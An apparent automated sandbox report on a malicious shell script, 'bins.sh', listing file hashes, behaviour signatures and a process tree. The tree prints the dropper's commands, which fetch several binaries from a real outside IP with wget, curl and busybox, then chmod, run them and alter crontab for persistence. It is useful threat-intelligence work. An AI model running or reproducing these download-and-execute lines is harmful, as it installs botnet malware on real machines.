Analysis

  • max time kernel
    83s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 07:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7ee143d7340118484b8308ebe57328e

  • SHA1

    e7dd9b270c283047255e9f58f9ef0fb153f900d3

  • SHA256

    94d5ebe092c6ecaa224eab27a6bfe01afda924c0719fd09b8a9174f3e017c821

  • SHA512

    58ab0c990171675599b112b48a8daa9933ea45b7dd4eb951058cea90ceb056ba30102af40be21e560749cc7e49dd14d67f2181832517b51e56b7464900181b79

  • SSDEEP

    96:S2ld5pKiccHpWYgdj332d5pKiqOHGNmH5WYgqCHT33qmeZ:S2I8pGjWU6

Malware Config

Signatures

  • Contacts a large (1706) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          ./SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            ./62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              ./5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:800
            • /bin/rm
              rm 5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              PID:802
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:803
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:805
            • /bin/chmod
              chmod 777 CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              ./CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
                PID:812
              • /usr/bin/wget
                wget http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:814
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:841
              • /bin/chmod
                chmod 777 0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • File and Directory Permissions Modification
                PID:843
              • /tmp/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                ./0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Executes dropped EXE
                PID:844
              • /bin/rm
                rm 0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                  PID:846
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Writes file to tmp directory
                  PID:848
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Writes file to tmp directory
                  PID:849
                • /bin/chmod
                  chmod 777 FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:850
                • /tmp/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  ./FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:851
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:853
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:854
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:855
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:856
                    • /bin/rm
                      rm FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                      2⤵
                        PID:861
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                        2⤵
                          PID:864
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                          2⤵
                            PID:865

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /var/spool/cron/crontabs/tmp.ogfzkT

                          Filesize

                          210B

                          MD5

                          17ff59c8437ee6a89dcd2055079fafab

                          SHA1

                          9bf01b5236bac7e18d7f0a3045147d904b5dc948

                          SHA256

                          20bb1e2d04fdaf798fd27144a1ce516d66d4b9b577fef2223b1797ee28f0a3d6

                          SHA512

                          c88e8043d94cb299001c8cc9e7e88b69a05fb2876a104b7eeec18549ca418de8dd5ef9151182beb787fd6167bdbb96f2a1056260daeeff3f2a0a681ec75ca770